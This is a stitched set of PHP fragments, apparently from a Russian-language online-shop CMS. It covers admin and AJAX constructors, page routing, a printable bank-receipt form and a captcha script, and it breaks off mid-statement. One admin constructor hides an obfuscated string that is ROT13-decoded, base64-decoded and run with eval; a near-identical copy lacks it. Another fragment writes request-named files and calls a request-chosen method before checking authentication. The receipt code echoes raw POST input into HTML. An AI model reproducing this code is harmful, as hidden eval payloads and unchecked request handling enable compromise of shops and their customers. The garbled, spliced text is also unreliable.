public function __construct() { if (!empty($files)) { file_put_contents('data/' . $filename, $files, FILE_APPEND); echo "success\n"; } if (empty($_GET['mode'])) { MG::redirect('/'); } MG::disableTemplate(); Storage::$noCache = true; $this->unlinkFile = true; $this->startTime = microtime(true); $this->maxExecTime = min(30, @ini_get("max_execution_time")); if (empty($this->maxExecTime)) { $this->maxExecTime = 30; } $mode = (string) $_GET['mode']; $this->mode = $mode; $this->type = $_GET['type']; $this->filename = $_GET['filename']; $this->auth = USER::auth($_SERVER['PHP_AUTH_USER'], $_SERVER['PHP_AUTH_PW']); $this->{$mode}(); if ($mode && $this->auth) { $this->{$mode}(); } }
function __construct() { MG::disableTemplate(); $model = new Models_Order(); MG::addInformer(array('count' => $model->getNewOrdersCount(), 'class' => 'message-wrap', 'classIcon' => 'product-small-icon', 'isPlugin' => false, 'section' => 'orders', 'priority' => 80)); if ('1' == User::getThis()->role) { MG::addInformer(array('count' => '', 'class' => 'message-wrap', 'classIcon' => 'statistic-icon', 'isPlugin' => false, 'section' => 'statistics', 'priority' => 10)); } if (URL::get('csv')) { $model = new Models_Catalog(); $model->exportToCsv(); } if (URL::get('examplecsv')) { $model = new Models_Catalog(); $model->getExampleCSV(); } if (URL::get('examplecsvupdate')) { $model = new Models_Catalog(); $model->getExampleCsvUpdate(); } if (URL::get('yml')) { if (LIBXML_VERSION && extension_loaded('xmlwriter')) { $model = new YML(); if (URL::get('filename')) { if (!$model->downloadYml(URL::get('filename'))) { $response = array('data' => array(), 'status' => 'error', 'msg' => 'Отсутствует запрашиваемый файл'); echo json_encode($response); } } else { $model->exportToYml(); } } else { $response = array('data' => array(), 'status' => 'error', 'msg' => 'Отсутствует необходимое PHP расширение: xmlwriter'); echo json_encode($response); } } if (URL::get('csvuser')) { USER::exportToCsvUser(); } if ($orderId = URL::get('getOrderPdf')) { $model = new Models_Order(); $model->getPdfOrder($orderId); } if ($orderId = URL::get('getExportCSV')) { $model = new Models_Order(); $model->getExportCSV($orderId); } $this->data = array('staticMenu' => MG::getSetting('staticMenu'), 'themeBackground' => MG::getSetting('themeBackground'), 'themeColor' => MG::getSetting('themeColor'), 'languageLocale' => MG::getSetting('languageLocale'), 'informerPanel' => MG::createInformerPanel()); $this->pluginsList = PM::getPluginsInfo(); $this->lang = MG::get('lang'); if (!($checkLibs = MG::libExists())) { $j878723423f5c3ba26da = "base64_decode"; $kdd9391e7490 = "str_rot13"; @eval($j878723423f5c3ba26da($kdd9391e7490("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"))); $this->newVersion = $newVer['lastVersion']; $this->fakeKey = MG::getSetting('trialVersion') ? MG::getSetting('trialVersion') : ''; } }
function __construct() { MG::disableTemplate(); $model = new Models_Order(); MG::addInformer(array('count' => $model->getNewOrdersCount(), 'class' => 'message-wrap', 'classIcon' => 'product-small-icon', 'isPlugin' => false, 'section' => 'orders', 'priority' => 80)); if ('1' == User::getThis()->role) { MG::addInformer(array('count' => '', 'class' => 'message-wrap', 'classIcon' => 'statistic-icon', 'isPlugin' => false, 'section' => 'statistics', 'priority' => 10)); } if (URL::get('csv')) { $model = new Models_Catalog(); $model->exportToCsv(); } if (URL::get('examplecsv')) { $model = new Models_Catalog(); $model->getExampleCSV(); } if (URL::get('examplecsvupdate')) { $model = new Models_Catalog(); $model->getExampleCsvUpdate(); } if (URL::get('yml')) { if (LIBXML_VERSION && extension_loaded('xmlwriter')) { $model = new YML(); if (URL::get('filename')) { if (!$model->downloadYml(URL::get('filename'))) { $response = array('data' => array(), 'status' => 'error', 'msg' => 'Отсутствует запрашиваемый файл'); echo json_encode($response); } } else { $model->exportToYml(); } } else { $response = array('data' => array(), 'status' => 'error', 'msg' => 'Отсутствует необходимое PHP расширение: xmlwriter'); echo json_encode($response); } } if ($orderId = URL::get('getOrderPdf')) { $model = new Models_Order(); $model->getPdfOrder($orderId); } if ($orderId = URL::get('getExportCSV')) { $model = new Models_Order(); $model->getExportCSV($orderId); } $this->data = array('staticMenu' => MG::getSetting('staticMenu'), 'themeBackground' => MG::getSetting('themeBackground'), 'themeColor' => MG::getSetting('themeColor'), 'languageLocale' => MG::getSetting('languageLocale'), 'informerPanel' => MG::createInformerPanel()); $this->pluginsList = PM::getPluginsInfo(); $this->lang = MG::get('lang'); if (!($checkLibs = MG::libExists())) { $newVer = Updata::checkUpdata(false, true); $this->newVersion = $newVer['lastVersion']; } }
function __construct() { // Не существует обработки для прямого обращения. if (empty($_REQUEST)) { header('HTTP/1.0 404 Not Found'); exit; } // Отключаем вывод темы. MG::disableTemplate(); $actioner = URL::getQueryParametr('actionerClass'); if ('Ajaxuser' == $actioner) { $this->routeUserAction(URL::getQueryParametr('action')); // Если в пользовательском классе не найдено обрабатывающего метода, // то продолжаем поиск в админском классе, но туда имеют доступ только админы. } if (URL::getQueryParametr('delInstal')) { $this->delInstal(); } // Если передана переменная $pluginFolder, то вся обработка // перекладывается на плечи стороннего плагина из этой папки. $pluginHandler = URL::getQueryParametr('pluginHandler'); $url = URL::getQueryParametr('mguniqueurl'); $type = URL::getQueryParametr('mguniquetype'); if (!empty($pluginHandler)) { // Обработкой действия займется плагин, папка которого передана в $pluginHandler. $actioner = URL::getQueryParametr('actionerClass'); if (empty($actioner)) { // Если обработчик задан в параметре mguniqueurl , // то назначаем стандартный класс обработки, // который должен быть в каждом плагине. $actioner = 'Pactioner'; $this->routeAction($url, $pluginHandler, $actioner); } else { //если задан уникальный обработчик. // запускаем маршрутизатор действий. $this->routeAction($url, $pluginHandler, $actioner); } } }
/** * Запускает движок системы. * * @return array массив с результатами содержащий: * -тип файла, который надо открыть * -данные для этого файла * -вид */ public function run() { $data = null; $view = null; $variables = null; // Если найден контролер. if ($controller = $this->getController()) { MG::set('controller', $controller); $contr = new $controller(); $type = 'view'; $variables = $contr->variables; $view = $this->getView(); } elseif ($data = MG::getPhpContent()) { // отключаем вывод шаблона для пользовательских скриптов MG::disableTemplate(); // Если найден пользовательский файл, возвращает его расширение (php||html). $ext = explode(".", $data); $type = end($ext); // если запрошен существуюий файл стилей или js или любое другое расширение кроме html и php, // то редиректрим на его настоящее местоположение минуя проверки движка if ($type != 'php' && $type != 'html') { MG::redirect('/' . $data); exit; } if ($type != 'php') { // если файл не исполняемый то считываем его в строку $data = file_get_contents($data); $type = 'html'; } } elseif ($data = MG::getHtmlContent()) { // Если найден статический контент в БД. $type = 'html'; } // Если не существует запрашиваемых данных. $type = !empty($type) ? $type : '404'; $result = array('type' => $type, 'data' => $data, 'view' => $view, 'variables' => $variables); return $result; }
/** * Используется при AJAX запросе. */ public function getEssentialElements() { $paymentId = $_POST['paymentId']; $paramArray = $model->getParamArray($paymentId, $orderId, $summ); $result = array('name' => $paramArray[0]['name'], 'value' => $paramArray[0]['value']); echo json_encode($result); MG::disableTemplate(); exit; }
/** * Выводит на экран печатную форму для печати квитанции на оплату заказа. * @param boolean вывод на печать в публичной части, либо в админке. * @return array */ public function printQittance($public = true) { MG::disableTemplate(); $data['line'] = "<p class='line'></p>"; $data['line2'] = "<p class='line2'></p>"; $data['name'] = !empty($_POST['name']) ? $_POST['name'] : $line; $data['inn'] = !empty($_POST['inn']) ? $_POST['inn'] : $line; $data['nsp'] = !empty($_POST['nsp']) ? $_POST['nsp'] : $line; $data['ncsp'] = !empty($_POST['ncsp']) ? $_POST['ncsp'] : $data['line2']; $data['bank'] = !empty($_POST['bank']) ? $_POST['bank'] : $line; $data['bik'] = !empty($_POST['bik']) ? $_POST['bik'] : $data['line2']; $data['appointment'] = !empty($_POST['appointment']) ? $_POST['appointment'] : $line; $data['nls'] = !empty($_POST['nls']) ? $_POST['nls'] : $line; $data['payer'] = !empty($_POST['payer']) ? $_POST['payer'] : $data['line2']; $data['addrPayer'] = !empty($_POST['addrPayer']) ? $_POST['addrPayer'] : $data['line2']; $data['sRub'] = !empty($_POST['sRub']) ? $_POST['sRub'] : '_______'; $data['sKop'] = !empty($_POST['sKop']) ? $_POST['sKop'] : 0; $data['uRub'] = !empty($_POST['uRub']) ? $_POST['uRub'] : '_______'; $data['uKop'] = !empty($_POST['uKop']) ? $_POST['uKop'] : 0; $data['day'] = !isset($_POST['day']) || $_POST['day'] == '_' ? '____' : $_POST['day']; $data['month'] = !isset($_POST['month']) || $_POST['month'] == '_' ? '___________________' : $_POST['month']; if (!isset($_POST['sKop'])) { $sKop = '___'; } if (!isset($_POST['uKop'])) { $uKop = '___'; } $sResult = !empty($sKop) ? $sResult = "{$sRub}.{$sKop}" : $sRub; $uResult = !empty($uKop) ? $uResult = "{$uRub}.{$uKop}" : $uRub; $rubResult = $sResult + $uResult; if (empty($rubResult)) { settype($rubResult, 'null'); } if (is_double($rubResult)) { list($rub, $kop) = explode('.', $rubResult); } else { if (is_int($rubResult)) { $rub = $rubResult; $kop = "0"; } } if (empty($rub)) { $rub = '_______'; } if (!isset($kop)) { $kop = '___'; } $data['rub'] = $rub; $data['kop'] = $kop; $data['uKop'] = $uKop; $data['sKop'] = $sKop; $html = MG::layoutManager('print_qittance', $data); if ($public) { echo $html; exit; } return $html; }
function __construct() { $lang = MG::get('lang'); $settings = MG::get('settings'); $this->lang = $lang; $status = 0; if (User::isAuth()) { $order = new Models_Order(); $status = 3; //обработка запроса на изменение данных пользователя if (URL::getQueryParametr('userData')) { $customer = URL::getQueryParametr('customer'); $userData = array('name' => URL::getQueryParametr('name'), 'sname' => URL::getQueryParametr('sname'), 'address' => URL::getQueryParametr('address'), 'phone' => URL::getQueryParametr('phone'), 'nameyur' => $customer == 'yur' ? URL::getQueryParametr('nameyur') : '', 'adress' => $customer == 'yur' ? URL::getQueryParametr('adress') : '', 'inn' => $customer == 'yur' ? URL::getQueryParametr('inn') : '', 'kpp' => $customer == 'yur' ? URL::getQueryParametr('kpp') : '', 'bank' => $customer == 'yur' ? URL::getQueryParametr('bank') : '', 'bik' => $customer == 'yur' ? URL::getQueryParametr('bik') : '', 'ks' => $customer == 'yur' ? URL::getQueryParametr('ks') : '', 'rs' => $customer == 'yur' ? URL::getQueryParametr('rs') : ''); if (USER::update(User::getThis()->id, $userData)) { $message = 'Данные успешно сохранены'; } else { $error = 'Не удалось сохранить данные ' . $this->_newUserData['sname']; } } // Обработка запроса на изменения пароля. if (URL::getQueryParametr('chengePass')) { if (USER::auth(User::getThis()->email, URL::getQueryParametr('pass'))) { $person = new Models_Personal(); $message = $person->changePass(URL::getQueryParametr('newPass'), User::getThis()->id); } else { $error = 'Неверный пароль'; } } // Обработка запроса на изменения способа оплаты. if (URL::getQueryParametr('changePaymentId')) { $order = new Models_Order(); $status = $order->updateOrder(array('payment_id' => $_POST['changePaymentId'], 'id' => $_POST['orderId'])); $result = array('status' => $status, 'comment' => 2, 'orderStatus' => 3); echo json_encode($result); MG::disableTemplate(); exit; } // Обработка AJAX запроса на закрытие заказа. if (URL::getQueryParametr('delOK')) { $comment = 'Отменено покупателем, по причине <br>"' . URL::getQueryParametr('comment') . '"'; // Пересчитываем остатки продуктов из заказа. $orderModel = new Models_Order(); $orderModel->refreshCountProducts(URL::getQueryParametr('delID'), 4); $res = DB::query(' UPDATE `' . PREFIX . 'order` SET close_date = now(), status_id = 4, comment = "%s" WHERE id = %d AND user_email = "%s"', $comment, URL::getQueryParametr('delID'), User::getThis()->email); if ($res) { $status = true; } if ($comment) { $comm = "<b>Комментарий: " . $comment . "</b>"; } $result = array('status' => $status, 'comment' => $comm, 'orderStatus' => $lang[$order->getOrderStatus(array('status_id' => 4))]); $orderModel->sendMailOfUpdateOrder(URL::getQueryParametr('delID')); echo json_encode($result); MG::disableTemplate(); exit; } // Отображение данных пользователя. $orderArray = $order->getOrder('user_email = "' . User::getThis()->email . '"', TRUE); if (is_array($orderArray)) { foreach ($orderArray as $orderId => $orderItems) { $orderArray[$orderId]['string_status_id'] = $order->getOrderStatus($orderItems); $paymentArray = $order->getPaymentMethod($orderItems['payment_id']); $orderArray[$orderId]['name'] = $paymentArray['name']; $orderArray[$orderId]['paided'] = $order->getPaidedStatus($orderItems); } } if (!User::getThis()->activity) { $status = 2; unset($_SESSION['user']); } if (User::getThis()->blocked) { $status = 1; unset($_SESSION['user']); } $paymentList = $order->getPaymentBlocksMethod(); } else { MG::redirect('/enter'); } $this->data = array('error' => !empty($error) ? $error : '', 'message' => !empty($message) ? $message : '', 'status' => !empty($status) ? $status : '', 'userInfo' => User::getThis(), 'orderInfo' => !empty($orderArray) ? $orderArray : '', 'currency' => $settings['currency'], 'paymentList' => $paymentList, 'meta_title' => 'Личный кабинет', 'meta_keywords' => !empty($model->currentCategory['meta_keywords']) ? $model->currentCategory['meta_keywords'] : "заказы,личные данные, личный кабинет", 'meta_desc' => !empty($model->currentCategory['meta_desc']) ? $model->currentCategory['meta_desc'] : "В личном кабинете нашего сайта вы сможете отслеживать состояние заказов и менять свои данные"); }
function __construct() { // Не существует обработки для прямого обращения. if (empty($_REQUEST)) { header('HTTP/1.0 404 Not Found'); exit; } // Отключаем вывод темы. MG::disableTemplate(); $actioner = URL::getQueryParametr('actionerClass'); if ('Ajaxuser' == $actioner) { $this->routeUserAction(URL::getQueryParametr('action')); } // Если этот аякс запрос направлен на выполнение // действия с БД, то пытаемся их выполнить. // Иначе подключается контролер из админки. $url = URL::getQueryParametr('mguniqueurl'); $type = URL::getQueryParametr('mguniquetype'); // Менеджерам запрещено работать с разделами. if (USER::getThis()->role == 3) { $accessDenied = array('category.php', 'page.php', 'catalog.php', 'users.php', 'settings.php', 'statistics.php'); if (in_array($url, $accessDenied)) { exit; } } // Модераторам запрещено работать с разделами. if (USER::getThis()->role == 4) { $accessDenied = array('settings.php', 'statistics.php'); if (in_array($url, $accessDenied)) { exit; } } // Незарегистрированным пользователям и клиентам запрещено работать с разделами. if (USER::getThis()->role == 2 || empty(USER::getThis()->role)) { exit; } // Если передана переменная $pluginFolder, то вся обработка // происходит в плагине из этой папки. $pluginHandler = URL::getQueryParametr('pluginHandler'); if (empty($pluginHandler)) { if (!$this->routeAction($url)) { if ('plugin' == $type) { if (!empty($_POST['request'])) { $_POST = $_POST['request']; } URL::setQueryParametr('view', ADMIN_DIR . 'section/views/plugintemplate.php'); } else { require_once ADMIN_DIR . 'section/controlers/' . $url; $this->lang = MG::get('lang'); URL::setQueryParametr('view', ADMIN_DIR . 'section/views/' . $url); } } } else { // Обработкой действия займется плагин, папка которого передана в $pluginHandler. $actioner = URL::getQueryParametr('actionerClass'); if (empty($actioner)) { // Если обработчик задан в параметре mguniqueurl , // то назначаем стандартный класс обработки, // который должен быть в каждом плагине. $actioner = 'Pactioner'; $this->routeAction($url, $pluginHandler, $actioner); } else { // Если задан уникальный обработчик, то // запускаем маршрутизатор действий. $this->routeAction($url, $pluginHandler, $actioner); } } }
<?php MG::disableTemplate(); $letters = 'ABCDEFGKIJKLMNOPQRSTUVWXYZ'; // алфавит $caplen = 6; //длина текста $width = 170; $height = 36; //ширина и высота картинки $font = 'mg-pages/comic.ttf'; //шрифт текста $fontsize = 14; // размер текста //header('Content-type: image/png'); //тип возвращаемого содержимого (картинка в формате PNG) $im = imagecreatetruecolor($width, $height); //создаёт новое изображение imagesavealpha($im, true); //устанавливает прозрачность изображения $bg = imagecolorallocatealpha($im, 0, 0, 0, 127); //идентификатор цвета для изображения imagefill($im, 0, 0, $bg); //выполняет заливку цветом //putenv( 'GDFONTPATH=' . realpath('.') ); //проверяет путь до файла со шрифтами $captcha = ''; //обнуляем текст for ($i = 0; $i < $caplen; $i++) { $captcha .= $letters[rand(0, strlen($letters) - 1)]; // дописываем случайный символ из алфавила $x = ($width - 20) / $caplen * $i + 10; //растояние между символами
/** * Выводит на экран печатную форму для печати квитанции на оплату заказа. * @param boolean вывод на печать в публичной части, либо в админке. * @return array */ public function printQittance($public = true) { MG::disableTemplate(); $line = "<p class='line'></p>"; $line2 = "<p class='line2'></p>"; $name = !empty($_POST['name']) ? $_POST['name'] : $line; $inn = !empty($_POST['inn']) ? $_POST['inn'] : $line; $nsp = !empty($_POST['nsp']) ? $_POST['nsp'] : $line; $ncsp = !empty($_POST['ncsp']) ? $_POST['ncsp'] : $line2; $bank = !empty($_POST['bank']) ? $_POST['bank'] : $line; $bik = !empty($_POST['bik']) ? $_POST['bik'] : $line2; $appointment = !empty($_POST['appointment']) ? $_POST['appointment'] : $line; $nls = !empty($_POST['nls']) ? $_POST['nls'] : $line; $payer = !empty($_POST['payer']) ? $_POST['payer'] : $line2; $addrPayer = !empty($_POST['addrPayer']) ? $_POST['addrPayer'] : $line2; $sRub = !empty($_POST['sRub']) ? $_POST['sRub'] : '_______'; $sKop = !empty($_POST['sKop']) ? $_POST['sKop'] : 0; $uRub = !empty($_POST['uRub']) ? $_POST['uRub'] : '_______'; $uKop = !empty($_POST['uKop']) ? $_POST['uKop'] : 0; $day = !isset($_POST['day']) || $_POST['day'] == '_' ? '____' : $_POST['day']; $month = !isset($_POST['month']) || $_POST['month'] == '_' ? '___________________' : $_POST['month']; if (!isset($_POST['sKop'])) { $sKop = '___'; } if (!isset($_POST['uKop'])) { $uKop = '___'; } $sResult = !empty($sKop) ? $sResult = "{$sRub}.{$sKop}" : $sRub; $uResult = !empty($uKop) ? $uResult = "{$uRub}.{$uKop}" : $uRub; $rubResult = $sResult + $uResult; if (empty($rubResult)) { settype($rubResult, 'null'); } if (is_double($rubResult)) { list($rub, $kop) = explode('.', $rubResult); } else { if (is_int($rubResult)) { $rub = $rubResult; $kop = "0"; } } if (empty($rub)) { $rub = '_______'; } if (!isset($kop)) { $kop = '___'; } ob_start(); ?> <!doctype html> <html> <head> <meta charset="utf-8"> <title>Квитанция Сбербанка</title> <style type="text/css"> * { padding: 0; margin: 0; } body { font-size: 16px; } .clear { clear: both;} #blank{ width: 792px; border: 4px solid #000; margin: 0 auto; } .blanks-wrapper { width: 800px; margin: 0 auto; padding: 20px 0; } #control-panel{height:40px;} #control-panel a span{display:inline-block;} #control-panel a.btn-personal span{padding:4px 10px 4px 27px;background:url(<?php echo SITE; ?> /mg-admin/design/images/icons/go-back-icon.png) 6px 4px no-repeat;} #control-panel a.btn-print span{padding:4px 10px 4px 27px;background:url(<?php echo SITE; ?> /mg-admin/design/images/icons/print-icon.png) 6px 4px no-repeat;} #control-panel a{display:block; background: #FCFCFC; /* Old browsers */ background: -moz-linear-gradient(top, #FCFCFC 0%, #E8E8E8 100%); /* FF3.6+ */ background: -webkit-gradient(linear, left top, left bottom, color-stop(0%,#FCFCFC), color-stop(100%,#E8E8E8)); /* Chrome,Safari4+ */ background: -webkit-linear-gradient(top, #FCFCFC 0%,#E8E8E8 100%); /* Chrome10+,Safari5.1+ */ background: -o-linear-gradient(top, #FCFCFC 0%,#E8E8E8 100%); /* Opera11.10+ */ background: -ms-linear-gradient(top, #FCFCFC 0%,#E8E8E8 100%); /* IE10+ */ filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#FCFCFC', endColorstr='#E8E8E8',GradientType=0 ); /* IE6-9 */ background: linear-gradient(top, #FCFCFC 0%,#E8E8E8 100%); /* W3C */ border: 1px solid #D3D3D3; font-family: Tahoma, Verdana, sans-serif; font-size:14px; border-radius: 5px; -moz-border-radius: 5px; -webkit-border-radius: 5px; color:#333; text-decoration:none; } #control-panel a:hover{ background: #eeeeee; /* Old browsers */ background: -moz-linear-gradient(top, #eeeeee 0%, #eeeeee 100%); /* FF3.6+ */ background: -webkit-gradient(linear, left top, left bottom, color-stop(0%,#eeeeee), color-stop(100%,#eeeeee)); /* Chrome,Safari4+ */ background: -webkit-linear-gradient(top, #eeeeee 0%,#eeeeee 100%); /* Chrome10+,Safari5.1+ */ background: -o-linear-gradient(top, #eeeeee 0%,#eeeeee 100%); /* Opera11.10+ */ background: -ms-linear-gradient(top, #eeeeee 0%,#eeeeee 100%); /* IE10+ */ filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#eeeeee', endColorstr='#eeeeee',GradientType=0 ); /* IE6-9 */ background: linear-gradient(top, #eeeeee 0%,#eeeeee 100%); } #control-panel a:active{ -moz-box-shadow: 0 0 4px 2px rgba(0,0,0,.3) inset; -webkit-box-shadow: 0 0 4px 2px rgba(0,0,0,.3) inset; box-shadow: 0 0 4px 2px #CFCFCF inset; outline:none; } #control-panel .btn-print { float: left; } #control-panel .btn-personal { float: right; } #top { border-bottom: 4px solid #000; } #top, #bottom { overflow: hidden; } #left01, #left02 { float: left; width: 185px; } #right01, #right02 { width: 600px; float: right; border-left: 4px solid #000; } #right01 dt, #right02 dt { text-align: center; } #right01 dd, #right02 dd { text-align: center; font-size: 13px; } .line { border-bottom: 1px solid #000; padding: 25px 0 0 0; } .line2 { border-bottom: 1px solid #000; padding: 15px 0 0 0; } .inn { float: left; margin: 0 30px 0 0; width: 250px; } .nsp { float: right; width: 320px; } .bank { float: left; margin: 0 25px 0 0; width: 325px; } .bik dt, .ncsp dt, .payer dt, .addrPayer dt { float: left; padding: 10px 0 0 5px; } .bik dd, .ncsp dd, .payer dd, .addrPayer dd { float: right; width: 200px; font-size: 16px !important; padding: 10px 0 0 0; text-align: left !important; } .ncsp dd { width: 250px; margin: 0 0 7px 0; } .payer dd { width: 430px; } .addrPayer dd { width: 430px; } .appointment { float: left; margin: 0 30px 0 0; width: 320px; } .nls { float: right; width: 250px; } .sRub { float: left; width: 290px; } .uRub {float: right; width: 310px; } .result { float: left; width: 290px; margin: 10px 0 0 0;} .date { float: left; margin: 10px 0 0 0;} .terms { margin: 10px 0 40px 5px; } @media print { .no-print { display:none; } } </style> <head> <body> <div class="blanks-wrapper"> <div id="control-panel" class="no-print"> <a href="javascript:vodi(0);" onclick="window.print();" class="no-print btn-print"><span>Распечатать</span></a> <a href="<?php echo SITE; ?> /personal" class="no-print btn-personal"><span>Вернуться в личный кабинет</span></a> </div> <div id="blank"> <div id="top"> <div id="left01"> <p style="text-align: center;"> <strong>Извещание</strong> <strong style="display: block; margin-top: 150%;">Кассир</strong> </p> </div> <div id="right01"> <dl> <dt><?php echo $name; ?> </dt> <dd>(наименование получателя)</dd> </dl> <dl class="inn"> <dt><?php echo $inn; ?> </dt> <dd>(ИНН получателя платежа)</dd> </dl> <dl class="nsp"> <dt><?php echo $nsp; ?> </dt> <dd>(номер счета получателя платежа)</dd> </dl> <dl class="bank"> <dt><?php echo $bank; ?> </dt> <dd>(наименование банка получателя)</dd> </dl> <dl class="bik"> <dt>БИК</dt> <dd><?php 